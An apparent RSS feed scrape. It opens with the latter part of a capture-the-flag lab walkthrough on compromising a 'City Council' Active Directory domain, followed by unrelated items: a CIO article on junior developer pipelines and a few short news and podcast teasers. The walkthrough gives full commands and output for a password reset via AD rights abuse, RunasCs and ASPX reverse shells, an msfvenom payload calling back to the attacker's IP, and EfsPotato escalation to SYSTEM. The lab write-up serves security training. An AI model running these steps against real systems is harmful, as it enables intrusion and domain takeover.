False</pre><p>Next, I got the info about web_admin.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADUser -Identity web_admin<br><br><br>DistinguishedName : CN=Web Admin,OU=Quarantine,DC=city,DC=local<br>Enabled           : True<br>GivenName         :<br>Name              : Web Admin<br>ObjectClass       : user<br>ObjectGUID        : d0eac22e-8e85-49d2-a287-dfdeabd35707<br>SamAccountName    : web_admin<br>SID               : S-1-5-21-407732331-1521580060-1819249925-1107<br>Surname           :<br>UserPrincipalName : web_admin@city.local</pre><p>Finally, I got the access Emma had on it.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; (Get-Acl -Path "AD:\CN=Web Admin,OU=Quarantine,DC=city,DC=local").Access | Where-Object {$_.IdentityReference -like "*emma.hayes*"} | Select-Object ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table<br><br>                      ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited<br>                      --------------------- --------------- ----------------- ----------------- -----------<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True<br>ReadProperty, WriteProperty, GenericExecute             All             Allow CITY\emma.hayes          True</pre><p>I proceeded with moving web_admin from <em>Quarantine</em> to <em>CityOps</em>.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; $emma_pass = ConvertTo-SecureString &lt;REDACTED&gt; -AsPlainText -Force<br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; $emma_cred = New-Object System.Management.Automation.PSCredential('city.local\emma.hayes', $emma_pass)<br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Move-ADObject -Identity "CN=Web Admin,OU=Quarantine,DC=city,DC=local" -TargetPath "OU=CityOps,DC=city,DC=local" -Credential $emma_cred<br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADUser -Identity web_admin<br><br><br>DistinguishedName : CN=Web Admin,OU=CityOps,DC=city,DC=local<br>Enabled           : True<br>GivenName         :<br>Name              : Web Admin<br>ObjectClass       : user<br>ObjectGUID        : d0eac22e-8e85-49d2-a287-dfdeabd35707<br>SamAccountName    : web_admin<br>SID               : S-1-5-21-407732331-1521580060-1819249925-1107<br>Surname           :<br>UserPrincipalName : web_admin@city.local</pre><p>Once that step was completed and verified, I reset the password and tested it.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodyAD -u 'emma.hayes' -p &lt;REDACTED&gt; -d 'city.local' --host 10.1.65.124 set password 'web_admin' 'Password123'<br>[+] Password changed successfully!<br>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u web_admin -p 'Password123'<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\web_admin:Password123 </pre><p>However, there was still a big issue. Although I had the password for it, I couldn’t remotely connect to that user because it was lacking the proper group memberships. I started a <em>netcat</em> listener, then uploaded <em>RunasCs.exe</em> in <em>C:\Temp</em> from the terminal I had as sam.brooks.</p><pre>*Evil-WinRM* PS C:\Temp&gt; upload RunasCs.exe<br>                                        <br>Info: Uploading /home/rootshellace/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil/RunasCs.exe to C:\Temp\RunasCs.exe<br>                                        <br>Data: 68948 bytes of 68948 bytes copied<br>                                        <br>Info: Upload successful!<br>*Evil-WinRM* PS C:\Temp&gt; dir<br><br><br>    Directory: C:\Temp<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----       10/24/2025   9:08 AM           2548 dc_user_rights.inf<br>-a----       11/28/2025  12:57 PM           5296 privs.inf<br>-a----        6/28/2026   4:01 AM          51712 RunasCs.exe<br>-a----       10/24/2025   9:08 AM          16384 secedit.jfm<br>-a----       10/24/2025   9:08 AM        1048576 secedit.sdb</pre><p>After that, I executed <em>RunasCs.exe</em> and launched a reverse shell.</p><pre>*Evil-WinRM* PS C:\Temp&gt; .\RunasCs.exe web_admin Password123 powershell.exe -r &lt;MY_VPN_IP&gt;:4444<br>[*] Warning: User profile directory for user web_admin does not exists. Use --force-profile if you want to force the creation.<br>[*] Warning: The logon for user 'web_admin' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.<br><br>[+] Running in session 0 with process function CreateProcessWithLogonW()<br>[+] Using Station\Desktop: Service-0x0-14f5d16$\Default<br>[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2676 created in background.</pre><p>In the terminal where I previously started the <em>netcat</em> listener, I got access as <em>web_admin</em>.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $nc -lnvp 4444<br>Listening on 0.0.0.0 4444<br>Connection received on 10.1.65.124 50330<br>Windows PowerShell <br>Copyright (C) Microsoft Corporation. All rights reserved.<br><br>PS C:\Windows\system32&gt; whoami<br>whoami<br>city\web_admin<br>PS C:\Windows\system32&gt; </pre><p><strong><em>● Pivoting to </em></strong><strong><em>defaultapppool</em></strong></p><p>Once I got access as <em>web_admin</em>, I went to the website uploads directory to place the <em>.aspx</em> reverse shell (available <a href="https://github.com/borjmz/aspx-reverse-shell/tree/master"><em>here</em></a><em>). </em>Of course, in a different terminal, I started another <em>netcat</em> listener, to have it prepared. Using <em>PowerShell</em> and a local Python web server, I uploaded the required file.</p><pre>PS C:\inetpub\wwwroot\uploads&gt; dir<br>dir<br><br><br>    Directory: C:\inetpub\wwwroot\uploads<br><br><br>Mode                LastWriteTime         Length Name                                                                  <br>----                -------------         ------ ----                                                                  <br>-a----       10/24/2025  11:23 AM           1218 test.aspx                                                             <br><br><br>PS C:\inetpub\wwwroot\uploads&gt; Invoke-WebRequest -Uri "http://&lt;MY_VPN_IP&gt;:8000/hack.aspx" -OutFile "C:\inetpub\wwwroot\uploads\hack.aspx"<br>Invoke-WebRequest -Uri "http://&lt;MY_VPN_IP&gt;:8000/hack.aspx" -OutFile "C:\inetpub\wwwroot\uploads\hack.aspx"<br>PS C:\inetpub\wwwroot\uploads&gt; dir<br>dir<br><br><br>    Directory: C:\inetpub\wwwroot\uploads<br><br><br>Mode                LastWriteTime         Length Name                                                                  <br>----                -------------         ------ ----                                                                  <br>-a----        6/28/2026   4:45 AM          15970 hack.aspx                                                             <br>-a----       10/24/2025  11:23 AM           1218 test.aspx                                                             <br><br><br>PS C:\inetpub\wwwroot\uploads&gt;</pre><p>In my browser, I accessed the page (<em>http://city.local/uploads/hack.aspx</em>) and, in that way, triggered the execution of the malicious file, which granted me access.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $nc -lnvp 5555<br>Listening on 0.0.0.0 5555<br>Connection received on 10.1.65.124 50499<br>Spawn Shell...<br>Microsoft Windows [Version 10.0.17763.5936]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>c:\windows\system32\inetsrv&gt;whoami<br>whoami<br>iis apppool\defaultapppool<br><br>c:\windows\system32\inetsrv&gt;</pre><p><strong><em>● Abuse privileges and get full access</em></strong></p><p>The first thing I did after I got access as <em>defaultapppool</em> was to check which privileges were assigned to that user. It had SeImpersonatePrivilege, which was a good attacking vector.</p><pre>c:\windows\system32\inetsrv&gt;whoami /priv<br>whoami /priv<br><br>PRIVILEGES INFORMATION<br>----------------------<br><br>Privilege Name                Description                               State   <br>============================= ========================================= ========<br>SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled<br>SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled<br>SeMachineAccountPrivilege     Add workstations to domain                Disabled<br>SeAuditPrivilege              Generate security audits                  Disabled<br>SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled <br>SeImpersonatePrivilege        Impersonate a client after authentication Enabled <br>SeCreateGlobalPrivilege       Create global objects                     Enabled <br>SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled<br><br>c:\windows\system32\inetsrv&gt;</pre><p>I looked for available exploits applied to that permission. Initially, I tried with <em>PrintSpoofer.exe</em>, but it didn’t work. Next, I uploaded and compiled <em>EfsPotato.cs</em> (available <a href="https://github.com/zcgonvh/EfsPotato"><em>here</em></a>), according to instructions provided by its developer.</p><pre>C:\Temp&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618<br>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618<br>Microsoft (R) Visual C# Compiler version 4.7.3190.0<br>for C# 5<br>Copyright (C) Microsoft Corporation. All rights reserved.<br><br>This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240<br><br><br>C:\Temp&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is CCCC-FB95<br><br> Directory of C:\Temp<br><br>06/28/2026  05:10 AM    &lt;DIR&gt;          .<br>06/28/2026  05:10 AM    &lt;DIR&gt;          ..<br>10/24/2025  09:08 AM             2,548 dc_user_rights.inf<br>06/28/2026  05:05 AM            25,441 EfsPotato.cs<br>06/28/2026  05:10 AM            17,920 EfsPotato.exe<br>06/28/2026  04:59 AM            27,136 PrintSpoofer64.exe<br>11/28/2025  01:57 PM             5,296 privs.inf<br>06/28/2026  04:01 AM            51,712 RunasCs.exe<br>10/24/2025  09:08 AM            16,384 secedit.jfm<br>10/24/2025  09:08 AM         1,048,576 secedit.sdb<br>06/28/2026  04:19 AM        11,076,096 winPEASx64.exe<br>               9 File(s)     12,271,109 bytes<br>               2 Dir(s)  34,349,150,208 bytes free</pre><p>Next, I created an executable for another reverse shell, using <em>msfvenom</em>.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;MY_VPN_IP&gt; LPORT=7777 -f exe &gt; syshack_shell.exe</pre><p>I uploaded it via the same connection I had as sam.brooks . I also started another <em>netcat</em> listener.</p><pre>*Evil-WinRM* PS C:\Temp&gt; upload syshack_shell.exe<br>                                        <br>Info: Uploading /home/rootshellace/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil/syshack_shell.exe to C:\Temp\syshack_shell.exe<br>                                        <br>Data: 10240 bytes of 10240 bytes copied<br>                                        <br>Info: Upload successful!<br>*Evil-WinRM* PS C:\Temp&gt; dir<br><br><br>    Directory: C:\Temp<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----       10/24/2025   9:08 AM           2548 dc_user_rights.inf<br>-a----        6/28/2026   5:05 AM          25441 EfsPotato.cs<br>-a----        6/28/2026   5:10 AM          17920 EfsPotato.exe<br>-a----        6/28/2026   4:59 AM          27136 PrintSpoofer64.exe<br>-a----       11/28/2025  12:57 PM           5296 privs.inf<br>-a----        6/28/2026   4:01 AM          51712 RunasCs.exe<br>-a----       10/24/2025   9:08 AM          16384 secedit.jfm<br>-a----       10/24/2025   9:08 AM        1048576 secedit.sdb<br>-a----        6/28/2026   5:45 AM           7680 syshack_shell.exe<br>-a----        6/28/2026   5:31 AM             14 test_user.txt<br>-a----        6/28/2026   4:19 AM       11076096 winPEASx64.exe</pre><p>Once uploaded, I executed EfsPotato.exe to trigger the reverse shell with elevated permissions.</p><pre>C:\Temp&gt;.\EfsPotato.exe "cmd.exe /c C:\Temp\syshack_shell.exe"<br>.\EfsPotato.exe "cmd.exe /c C:\Temp\syshack_shell.exe"<br>Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).<br>Part of GMH's fuck Tools, Code By zcgonvh.<br>CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]<br><br>[+] Current user: IIS APPPOOL\DefaultAppPool<br>[+] Pipe: \pipe\lsarpc<br>[!] binding ok (handle=109ff80)<br>[+] Get Token: 860<br>[!] process with pid: 2068 created.<br>==============================<br>[x] EfsRpcEncryptFileSrv failed: 1818</pre><p>I went back to my terminal with the listener and I saw I got System access. Finally, I went inside the Desktop directory of the Administrator account and read the root flag.</p><pre>└──╼ $nc -lnvp 7777<br>Listening on 0.0.0.0 7777<br>Connection received on 10.1.65.124 50695<br>Microsoft Windows [Version 10.0.17763.5936]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>C:\Temp&gt;whoami<br>whoami<br>nt authority\system<br><br>C:\Temp&gt;cd C:\Users\Administrator\Desktop<br>cd C:\Users\Administrator\Desktop<br><br>C:\Users\Administrator\Desktop&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is CCCC-FB95<br><br> Directory of C:\Users\Administrator\Desktop<br><br>02/27/2026  07:55 AM    &lt;DIR&gt;          .<br>02/27/2026  07:55 AM    &lt;DIR&gt;          ..<br>10/24/2025  11:53 AM             1,230 root.txt<br>               1 File(s)          1,230 bytes<br>               2 Dir(s)  34,347,618,304 bytes free<br><br>C:\Users\Administrator\Desktop&gt;type root.txt<br>type root.txt<br><br><br>&lt;REDACTED_FLAG&gt;<br><br><br>⠀⠀⠀⠀⠀⣀⣠⠤⠶⠶⣖⡛⠛⠿⠿⠯⠭⠍⠉⣉⠛⠚⠛⠲⣄⠀⠀⠀⠀⠀<br>⠀⠀⢀⡴⠋⠁⠀⡉⠁⢐⣒⠒⠈⠁⠀⠀⠀⠈⠁⢂⢅⡂⠀⠀⠘⣧⠀⠀⠀⠀<br>⠀⠀⣼⠀⠀⠀⠁⠀⠀⠀⠂⠀⠀⠀⠀⢀⣀⣤⣤⣄⡈⠈⠀⠀⠀⠘⣇⠀⠀⠀<br>⢠⡾⠡⠄⠀⠀⠾⠿⠿⣷⣦⣤⠀⠀⣾⣋⡤⠿⠿⠿⠿⠆⠠⢀⣀⡒⠼⢷⣄⠀<br>⣿⠊⠊⠶⠶⢦⣄⡄⠀⢀⣿⠀⠀⠀⠈⠁⠀⠀⠙⠳⠦⠶⠞⢋⣍⠉⢳⡄⠈⣧<br>⢹⣆⡂⢀⣿⠀⠀⡀⢴⣟⠁⠀⢀⣠⣘⢳⡖⠀⠀⣀⣠⡴⠞⠋⣽⠷⢠⠇⠀⣼<br>⠀⢻⡀⢸⣿⣷⢦⣄⣀⣈⣳⣆⣀⣀⣤⣭⣴⠚⠛⠉⣹⣧⡴⣾⠋⠀⠀⣘⡼⠃<br>⠀⢸⡇⢸⣷⣿⣤⣏⣉⣙⣏⣉⣹⣁⣀⣠⣼⣶⡾⠟⢻⣇⡼⠁⠀⠀⣰⠋⠀⠀<br>⠀⢸⡇⠸⣿⡿⣿⢿⡿⢿⣿⠿⠿⣿⠛⠉⠉⢧⠀⣠⡴⠋⠀⠀⠀⣠⠇⠀⠀⠀<br>⠀⢸⠀⠀⠹⢯⣽⣆⣷⣀⣻⣀⣀⣿⣄⣤⣴⠾⢛⡉⢄⡢⢔⣠⠞⠁⠀⠀⠀⠀<br>⠀⢸⠀⠀⠀⠢⣀⠀⠈⠉⠉⠉⠉⣉⣀⠠⣐⠦⠑⣊⡥⠞⠋⠀⠀⠀⠀⠀⠀⠀<br>⠀⢸⡀⠀⠁⠂⠀⠀⠀⠀⠀⠀⠒⠈⠁⣀⡤⠞⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠙⠶⢤⣤⣤⣤⣤⡤⠴⠖⠚⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>C:\Users\Administrator\Desktop&gt;</pre><p>If you got here, I want to thank you for the time you took to read my article. I hope you enjoyed it and also learned something from it. Why not take a look at some of my other articles?</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=15ef3f2b3c1c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hack-smarter-city-council-active-directory-15ef3f2b3c1c">Hack Smarter — City Council (Active Directory)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Skillsoft-CIO über KI: "Brauchen wir jetzt weniger Juniors? Schwierig"]]></title>
<description><![CDATA[Orla Daly ist eine gefragte Stimme zu Skills-Lücken, KI-Readiness und digitaler Transformation. Wir haben die Skillsoft-CIO gefragt, wo KI Arbeit verändert. (Chefs von Devs, KI)]]></description>
<link>https://tsecurity.de/de/3637831/it-nachrichten/skillsoft-cio-ueber-ki-brauchen-wir-jetzt-weniger-juniors-schwierig/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637831/it-nachrichten/skillsoft-cio-ueber-ki-brauchen-wir-jetzt-weniger-juniors-schwierig/</guid>
<pubDate>Wed, 01 Jul 2026 10:33:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Orla Daly ist eine gefragte Stimme zu Skills-Lücken, KI-Readiness und digitaler Transformation. Wir haben die Skillsoft-CIO gefragt, wo KI Arbeit verändert. (<a href="https://www.golem.de/specials/chefsvondevs/">Chefs von Devs</a>, <a href="https://www.golem.de/specials/ki/">KI</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=210328&amp;page=1&amp;ts=1782894601" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[UK regulator wants Apple and Google to let devs steer clear of app store fees]]></title>
<description><![CDATA[Proposals could open cheaper routes for purchases made through third parties]]></description>
<link>https://tsecurity.de/de/3635901/it-nachrichten/uk-regulator-wants-apple-and-google-to-let-devs-steer-clear-of-app-store-fees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635901/it-nachrichten/uk-regulator-wants-apple-and-google-to-let-devs-steer-clear-of-app-store-fees/</guid>
<pubDate>Tue, 30 Jun 2026 16:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Proposals could open cheaper routes for purchases made through third parties]]></content:encoded>
</item>
<item>
<title><![CDATA[How to keep your IT talent pipeline from collapsing]]></title>
<description><![CDATA[The transformative lure of AI is rapidly pushing IT leaders’ talent pipelines toward more of a crossroads than many may fully want to admit.



The traditional approach of growing IT expertise in-house from entry-level positions is being challenged by a combination of skills-demand shifts toward ...]]></description>
<link>https://tsecurity.de/de/3632581/it-security-nachrichten/how-to-keep-your-it-talent-pipeline-from-collapsing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632581/it-security-nachrichten/how-to-keep-your-it-talent-pipeline-from-collapsing/</guid>
<pubDate>Mon, 29 Jun 2026 12:09:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The transformative lure of AI is rapidly pushing IT leaders’ talent pipelines toward more of a crossroads than many may fully want to admit.</p>



<p>The traditional approach of growing IT expertise in-house from entry-level positions is being challenged by a combination of skills-demand shifts toward AI experience and the replacement of entry-level roles in favor of AI automation.</p>



<p>Employment among early-career workers, ages 22 to 25, in the most AI-exposed occupations has fallen 16% since the introduction of ChatGPT in late 2022, according to a widely cited <a href="https://digitaleconomy.stanford.edu/publication/canaries-in-the-coal-mine-six-facts-about-the-recent-employment-effects-of-artificial-intelligence/" rel="nofollow">study from Stanford’s Digital Economy Lab</a>. For entry-level software developers, the drop was nearly 20%. As the pool of talent with early-career IT pros with hands-on experience shrinks, IT leaders are likely to face stiffer challenges filling more vital midlevel roles down the road.</p>



<p>Looking forward, some IT leaders believe replacing junior engineers and other entry-level IT roles with AI to cut costs will eventually backfire, leaving companies short of experienced staff who can tackle difficult problems and design scalable solutions.<br><br></p>



<p>According to a recent <a href="https://www.gartner.com/en/newsroom/press-releases/2026-05-05-gartner-says-autonomous-business-and-artificial-intelligence-layoffs-may-create-budget-room-but-do-not-deliver-returns" rel="nofollow">Gartner survey of global business executives</a>, organizations that automated aspects of their businesses and reduced their workforces aren’t seeing returns from those supposed efficiencies. What has improved the bottom line? Investing in new roles, upskilling, and systems that amplify the capabilities of staff so they can supervise and grow autonomous work.</p>



<p>Moreover, the Gartner report forecasts that autonomous business practices will require more staff, not less, over the next two to three years, leading to a net positive in job growth as people are hired to manage those efforts.</p>



<p>Yet, in the short term, investors are rewarding companies that make AI-related workforce reductions. And many executives are pushing for the same. So how are CIOs and other leaders planning to build the necessary skills for future success by creating a pathway for middle- and senior-level IT talent?</p>



<h2 class="wp-block-heading">‘Early in context’</h2>



<p>In response to this downward trend in early career hiring, Microsoft’s Mark Russinovich and Scott Hanselman penned an <a href="https://dl.acm.org/doi/10.1145/3779312">article</a> that pushes back on this trend. They propose bringing in early-career programming talent and pairing them with experienced mentors on product teams, where they can help new hires identify — and solve — real-world problems that AI might miss.</p>



<p>In the article, the Microsoft execs noted that experienced programmers found dozens of problems in AI-generated code that appeared to work correctly. They also pointed to the risk of “cognitive debt,” citing MIT research that found reduced brain activity among people relying heavily on AI for writing tasks.</p>



<p>“While agents can speed up workflows and reduce manual effort, they lack the intuition to anticipate edge cases and build robust solutions,” the authors wrote. “Relying too much on AI risks missing subtle bugs, architectural flaws, and vulnerabilities that only skilled engineers can catch. Human oversight, critical thinking, and domain knowledge are indispensable for both correcting errors and driving innovation as technology progresses.”</p>



<p>Hanselman, vice president and member of technical staff at Microsoft, argues that software development isn’t simply a matter of writing code. Senior engineers, he notes, have experience in what works, what fails, what can break in production, and what elegant design looks like — and how to scale it. AI can increase output, but it does not help a new developer learn this sort of judgment.</p>



<p>“When you say early in career, it’s actually early in context — junior devs are missing context,” he says. “The way that we develop good taste is through failing in a safe place. And right now, companies hire juniors, throw them at a problem, chew them up and spit them out — and that’s the wrong way to do it.”</p>



<h2 class="wp-block-heading">A new mentorship model</h2>



<p>Hanselman suggests, instead of slashing roles for junior programmers, companies should be creating systems that help them develop the skills necessary to become valued senior contributors in the future.</p>



<p>He proposes adopting a mentorship approach called a “preceptorship,” borrowed from the medical field, where senior engineers are explicitly responsible for helping juniors gain experience and develop good judgment. Hanselman’s wife is a nurse and preceptor, and her experience helped spur the idea.</p>



<p>“The preceptorship acknowledges that a nurse has passed the board,” he explains. “They’ve joined the company. It’s their first day on the job. They are qualified to be there. They are supposed to be there — but they’re missing context.”</p>



<p>Technology companies need a similar model, he argues, where programmers are allowed to learn, not just produce, from experienced mentors: “We need high communicators, with high agency — kind individuals who will invest in the future.”</p>



<p>He contrasts this practical, real-world mentoring approach with a coding boot camp.</p>



<p>“What do people do in boot camps? They wash out,” he says. “You couldn’t hack it. A preceptorship is a relationship between a senior engineer, who has your best interest at heart and is going to help you become a better AI-augmented software engineer — not a vibe coder. We’re not vibing into production. We are using the powerful tools that have been developed to create high-quality software with good taste and with good discernment at scale.”</p>



<h2 class="wp-block-heading"><a></a>A talent gap in the making</h2>



<p>Companies that eliminate junior roles because AI can do some entry-level tasks may see improved short-term output while weakening their future technical capabilities. Tech executives say a lack of investment in early career hiring will show up in the future as a dearth of leadership and institutional knowledge, as well as a reduction in product quality and the ability to effectively manage and oversee code or other work created with AI.</p>



<p>“Senior engineers are built through exposure to real systems, not just writing code,” says Craig Miller, former CIO of fast-food chain Sonic, now a consultant, board advisor, and author. “They need to understand how things scale, how they break, and how decisions impact the business. That experience cannot be automated.”</p>



<p>Reducing junior developer roles should be seen as a long-term capability risk instead of a budget efficiency, says Macaire Montini, vice president of people and culture at cloud-based HR software company HiBob.</p>



<p>“The decline in junior developer roles isn’t just an employment trend,” Montini says. “It’s a long-term pipeline problem that technology leaders should treat with the same urgency as any infrastructure risk. If you stop bringing in early-career talent, you don’t just have a gap today — you have a leadership drought in five years.”</p>



<p>Zsolt Kerecsen, CTO at Graphisoft, argues that replacing early-career staff with AI hurts staff growth and undercuts an organization’s ability to manage autonomous capabilities. CIOs should treat early-career hiring as an investment in future delivery quality, system oversight, and AI governance, he says.</p>



<p>“Experienced developers are needed to train AI and validate its outputs,” he says. “That’s why trying to substitute juniors with AI is a fundamentally flawed approach. Instead, AI should be used — guided by seniors — to support junior developers and help them become seniors more quickly.”</p>



<p>Miller says the reduction in early career hiring is just one sign of a broader issue of “slow decay,” where current tech staff aren’t training their replacements. He points to other indications of a future talent crisis: “Decline in CS enrollments as prospective students respond to deteriorating job market signals, which could produce a senior engineer shortage in 5 to 10 years even as AI reduces demand for entry-level workers today. The real risk is not that AI will eliminate the need for developers. It’s that companies will eliminate the early learning ground that has always produced great ones.”</p>



<h2 class="wp-block-heading">Filling the pipeline</h2>



<p>With early-career roles evolving quickly, experts advise CIOs to take a more intentional approach to hiring and training IT talent, programmers in particular — one that uses AI to help junior staff become better, faster, instead of replacing them.</p>



<p>AI may enable junior developers to take on more advanced tasks earlier, Montini says, but they still need mentoring and structured guidance to become experienced contributors.</p>



<p>“We believe the answer isn’t just hiring,” Montini says. “It’s how you onboard and develop early-career talent once they’re through the door. Structured training, clear skill development pathways, and meaningful mentorship are what actually close the gap between potential and performance. Without that scaffolding, junior hires churn before they become the midlevel talent you need.”</p>



<p>Paul DeMott, CTO at Helium SEO, says organizations should rethink talent development from a new hire’s first day.</p>



<p>“Before a junior developer on our team writes a single line of code on any new feature, they have to propose the full architecture for it, present it in a 15-minute review with the senior team, and explain every tradeoff they considered,” he says. “The junior does not implement anything until they defend those decisions. This process forces systems thinking before syntax thinking, which is exactly what separates a developer who grows into senior roles from one who stays at the execution layer indefinitely.”</p>



<p>In the past year and a half, DeMott says, that process has helped junior hires rise more quickly through the ranks, with two junior developers promoted to midlevel roles.</p>



<p>Kerecsen says his company actively seeks out junior talent at the university level, works with them for several years, then brings them on as junior or potentially midlevel engineers.</p>



<p>“There is a concerning misunderstanding about AI’s potential, especially regarding its ability to replace junior developers,” Kerecsen says. “It is actually disastrous for delivery quality and long-term sustainability. Junior developers are an investment in our future.”</p>



<p>Liz Eversoll, CEO of upskilling and recruitment company Career Highways, says organizations should move from informal apprenticeship to a more intentional model for skills-based growth.</p>



<p>“The next generation of senior programmers will be developed differently,” Eversoll says. “Junior engineers can now contribute to higher-complexity work earlier by using AI as a copilot, but that only works if organizations provide pathways that connect real work, learning, and continuous assessment.”</p>



<h2 class="wp-block-heading"><a></a>Building judgment, not just output</h2>



<p>The goal is to help junior developers gain the kind of experience that allows them to understand systems, weigh tradeoffs, and eventually guide technical decisions.</p>



<p>Former Sonic CIO Miller says that kind of experience cannot be automated.</p>



<p>“The organizations that get this right will balance AI-driven efficiency with structured mentorship and real-world exposure, treating talent development as a long-term priority,” Miller says. “The next generation of senior engineers will not emerge accidentally. They will have to be built through structured apprenticeship, guided use of AI, real exposure to production environments, and deliberate development of judgment, architecture thinking, debugging discipline, and business context.”</p>



<p>Rema Lolas, founder of team-building platform Groziac, says AI may make technical skills more accessible, but it will also put more pressure on how people work together.</p>



<p>“AI may level the technical playing field, but it will amplify the differences in human performance,” Lolas says. “The organizations that recognize this early will stop treating development as a training problem, and start treating it as a system design challenge — where people are intentionally developed not just in skill, but in how they operate and perform together.”</p>



<p>Microsoft’s Hanselman says the skills that matter most today are not just AI prompt fluency or the ability to generate code quickly, but systems thinking and communication.</p>



<p>“So for the young person who’s coming into this, you can’t have blinders on,” he says. “Making large, interesting systems that help people and make their lives better — that is not being commoditized. You need big-picture thinking, taste, discernment, good judgment, good communication skills, and a rock-solid understanding of the basics. Just because I’m riding around in an Uber doesn’t mean that I don’t know how to change a tire.”</p>



<p>Tech leaders say organizations need to make early-career growth a core part of engineering work. That means giving junior staff real programming work, in-the-moment senior guidance and AI support that accelerates learning without replacing it.</p>



<p>“Ultimately, developing senior talent is no longer a byproduct of hiring, it’s the result of deliberate infrastructure,” Eversoll says. “Organizations that invest in skills-based progression systems will not only sustain their pipeline, but accelerate it.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fixing pentesting, Meta is destroying its engineering org, the weekly news  - Adriel Desautels - ESW #465]]></title>
<description><![CDATA[Interview with Adriel Desautels - the pentest is broken Adriel joins us for a discussion on the state of penetration testing, why it hasn't done much to help security teams over the last 20 years, and why AI won't save it. Segment Resources:   https://hbr.org/2026/04/boards-are-falling-short-on-c...]]></description>
<link>https://tsecurity.de/de/3632483/it-security-nachrichten/fixing-pentesting-meta-is-destroying-its-engineering-org-the-weekly-news-adriel-desautels-esw-465/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632483/it-security-nachrichten/fixing-pentesting-meta-is-destroying-its-engineering-org-the-weekly-news-adriel-desautels-esw-465/</guid>
<pubDate>Mon, 29 Jun 2026 11:36:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
